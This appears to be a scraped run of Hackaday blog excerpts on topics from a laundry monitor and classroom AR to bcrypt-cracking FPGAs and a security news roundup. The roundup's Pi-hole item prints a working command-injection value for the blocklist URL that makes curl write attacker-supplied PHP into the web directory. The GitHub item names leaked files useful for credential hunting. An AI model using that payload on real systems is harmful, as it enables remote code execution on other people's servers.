Laundry. It’s one of life’s inescapable cycles, but at least we have machines now. The downside of this innovation is that since we no longer monitor every step — the rock-beating, the river-rinsing, the line-hanging and -retrieving — the pain of laundry has evolved into the monotony of monitoring the robots’ work.
Each machine has a little Hall effect-sensing module that’s carefully zip-tied around its power cable. The signal from these three-wire boards goes high when the machine is running and low when it’s not. At the beginning of the load, the launderer simply presses their assigned button on the control box, and the ESP32 inside takes care of the rest.
Getting a text when your drawers are clean is about as private as it gets. Clean underwear, don’t care? Put it on a scrolling marquee.
Augmented reality (AR) in the classroom has garnered a bit of interest over the years, but given the increased need for remote and virtual learning these days, it might be worth taking a closer look at what AR can offer. Purdue University’s C Design Lab thinks they’ve found a solution in their Meta-AR platform. The program allows an instructor to monitor each student’s work in real-time without being in the same classroom as the student. Not only that, but the platform allows students to collaborate in real-time with each other giving each other tips and feedback while also being able to interact with each other’s work, no matter where they may be physically located.
A while back, I sat in the newish electric car that was the pride and joy of a friend of mine, and had what was at the time an odd experience. Instead of getting in, turning the key, and driving off, the car instead had to boot up.
The feeling was of a piece of software rather than a piece of hardware, and there was a tangible wait before the start button could be pressed. It was a miracle of technology that could travel smoothly and quietly for all but the longest journeys I could possibly throw at it on relative pennies-worth of electricity, but I hated it. As a technologist and car enthusiast, I should be all over these types of motor vehicles. I live for new technology and I lust after its latest incarnations in many fields including automobiles.
I want my next car to have an electric motor, I want it to push the boundaries of what is capable with a battery and I want it to be an automotive tour de force. The switch to electric cars represents an opportunity like no other to deliver a new type of car that doesn’t carry the baggage of what has gone before, but in that car I saw a future in which they were going badly astray.
I don’t want my next vehicle to be a car like my friend’s one, and to understand why that is the case it’s worth going back a few decades to the cars my parents drove back when when jumpers were goalposts, and the home computer was just a gleam in the eye of a few long-haired outsiders in California.
Hackaday editors Mike Szczys and Elliot Williams explore the coolest hacks of the past 168 hours. The big news this week: will Wink customers pony up $5 a month to turn their lights on and off? There’s a new open source design for a pick and place machine. You may not have a Vectrex gaming console, but there’s a scratch-built board that can turn you oscilloscope into one. And you just can’t miss this LED sign technology that programs every pixel using projection mapping.
Take a look at the links below if you want to follow along, and as always, tell us what you think about this episode in the comments!
When used for cracking passwords, a modern high-end graphics card will absolutely chew through “classic” hashing algorithms like SHA-1 and SHA-2. When a single desktop machine can run through 50+ billion password combinations per second, even decent passwords can be guessed in a worryingly short amount of time. Luckily, advanced password hashing functions such as bcrypt are designed specifically to make these sort of brute-force attacks impractically slow.
Cracking bcrypt on desktop hardware might be out of the question, but the folks over at [Scattered Secrets] had a hunch that an array of FPGAs might be up to the task. While the clock speed on these programmable chips might seem low compared to a modern CPUs and GPUs, they don’t have all that burdensome overhead to contend with. This makes the dedicated circuitry in the FPGA many times more efficient at performing the same task. Using a decade-old FPGA board intended for mining cryptocurrency, the team was able to demonstrate a four-fold performance improvement over the latest generation of GPUs.
An earlier version of the FPGA cracker
After seeing what a single quad FPGA board was capable of, the [Scattered Secrets] team started scaling the concept up. The first version of the hardware crammed a dozen of the ZTEX FPGA boards and a master control computer computer into a standard 4U server case. For the second version, they bumped that up to 18 boards for a total of 72 FPGAs, and made incremental improvements to the power and connectivity systems.
Each 4U FPGA cracker is capable of 2.1 million bcrypt hashes per second, while consuming just 585 watts. To put that into perspective, [Scattered Secrets] says you’d need at least 75 Nvidia RTX-2080Ti graphics cards to match that performance. Such an array would not only take up a whole server rack, but would burn through a staggering 25 kilowatts. Now might be a good time to change your password to something longer, or finally get onboard with 2FA.
Thunderspy was announced this week, developed by [Björn Ruytenberg]. A series of attacks on the Thunderbolt 3 protocol, Thunderspy is the next vulnerability in the style of Inception, PCILeech, and Thunderclap.
Inception and PCILeech were attacks on the naive Direct Memory Access (DMA) built into Firewire, Thunderbolt 1, and PCIe. A device could connect and request DMA over the link. Once granted, it could access the bottom four gigabytes of system memory, with both read and write access. It’s not hard to imagine how that would be a huge security problem, and it seems that this technique was in use by intelligence agencies at the time it was discovered. As an aside, the hardware DMA was entirely independent of software, so it was possible to debug a crashed kernel over firewire.
Once the vulnerability was made public, hardware and software vendors have taken steps to harden their systems against the attack. Thunderbolt 2 introduced security levels as a mitigation against the attacks. A user has to mark a device as trusted before DMA is offered to that device. Thunderclap exploited a series of vulnerabilities in how individual OSes interacted with those hardware mitigations.
Image by Björn Ruytenberg. Licensed under CC BY 4.0.
Now, Thunderspy abuses a series of problems in Intel’s Thunderbolt 3 specification and implementation. One interesting attack is cloning an already trusted Thunderbolt device. Plugging a Thunderbolt device into a Linux machine easily captures the device UUID. A malicious Thunderbolt device can be given that same UUID, and suddenly has the same level of trust as the cloned device.
[Björn] took the attack a step further, and discovered that he could disassemble a laptop or thunderbolt device, and read the firmware directly off the thunderbolt controller. That firmware can be modified and re-uploaded. One of the simplest attacks that enables is turning the security level to its lowest setting.
It’s interesting research, and there are fixes coming or already in place to mitigate the problems found. The real question is how much Thunderspy matters. The threat model is the evil maid: A laptop left in a motel room would be available to the cleaning staff for a few minutes. Thunderspy could potentially be used for this style of attack, but there are many other potentially better attack options. There is a narrow circumstance where Thunderspy is the perfect technique: A device with an encrypted drive, that’s been powered on and logged into, but locked. In this case, Thunderspy could be used to recover the drive encryption key stored in memory, and then used to plant malware.
That Time When Facebook Broke Everything
You may have noticed some widespread iOS application misbehavior on the 6th. Facebook introduced a change to the server component to their sign-on SDK, which caused many apps that made use of that SDK to crash. It’s worth asking if it’s a good idea for so many popular apps to use Facebook code. There doesn’t appear to have been a vulnerability or path to compromise other than the denial of service.
Large-scale WordPress attack
Nearly a million WordPress sites are under attack, in a campaign targeting a variety of vulnerabilities. The general attack strategy is to inject a malicious javscript that lays dormant until it’s executed by a site administrator. Ironically, logging in to your site to check it for compromise could be the trigger that leads to compromise. As always, keep your plugins up to date and follow the rest of the best practices.
Godaddy Breaches
Godaddy users were recently informed that there was a breach that exposed portions of their accounts to compromise. Notably, the compromise happened back in October of 2019, and wasn’t discovered for 6 months. Godaddy has stated that there wasn’t any evidence of any malicious action beyond the initial compromise, which is puzzling in itself.
On April 23, 2020, we identified SSH usernames and passwords had been compromised through an altered SSH file in our hosting environment. This affected approximately 28,000 customers. We immediately reset these usernames and passwords, removed the offending SSH file from our platform, and have no indication the threat actor used our customers’ credentials or modified any customer hosting accounts. To be clear, the threat actor did not have access to customers’ main GoDaddy accounts.
Pi-hole Exploit
A fun RCE exploit was discovered in the Pi-hole software. This particular problem requires authenticated access to the Pi-hole administrative web interface, so it’s not likely to cause too many problems on its own. Exploiting the flaw is simple, just set http://192.168.122.1#" -o fun.php -d " as the remote blocklist, with an IP that you control. Under the hood, the remote blocklist is fetched via curl, and the URL isn’t properly sanitized. Your PHP code is saved in the web directory, and an HTTP request triggers that code.
Leaking on Github
[Tillson Galloway] tells the story of how he made $10,000 in bug bounties, simply by searching Github for passwords and keys that shouldn’t be there. By searching for specific keywords, he found all sorts of interesting, unintentional things. vim_settings.xml contains recently copied and pasted strings, and .bash_history contains a record of commands that have been run. How many times have you accidentally typed a password in on the command line, thinking you were authenticating with SSH or sudo, just for an example? It’s an easy mistake to make, to accidentally include one of these hidden files in a public repository.
There have been examples of API keys accidentally included in source code drops, and even SSL certificates leaked this way over the years. It’s a lesson to all of us, make sure to sanitize projects before pushing code to Github.
Complexity is a funny thing. In prehistoric times, a caveman might float across a lake on a log. That’s simple. But as you add a rudder, a sail, or even a motor, it gets more and more complex. But if you add enough complexity — a GPS and an autopilot, for example, it becomes simple again. The SpaceX Dragon capsule actually docks itself to the ISS. However, the crew on the station can take over manually if they need to. What would that be like? Try the simulation and find out. If you don’t make it on the first, try, [Scott Manley’s] video below might help you out.
This isn’t a flashy Star Wars-style simulator. Think more 2001. Movement is slow and it is easy to get out of control. The user interface is decidedly modern compared to the old Apollo era
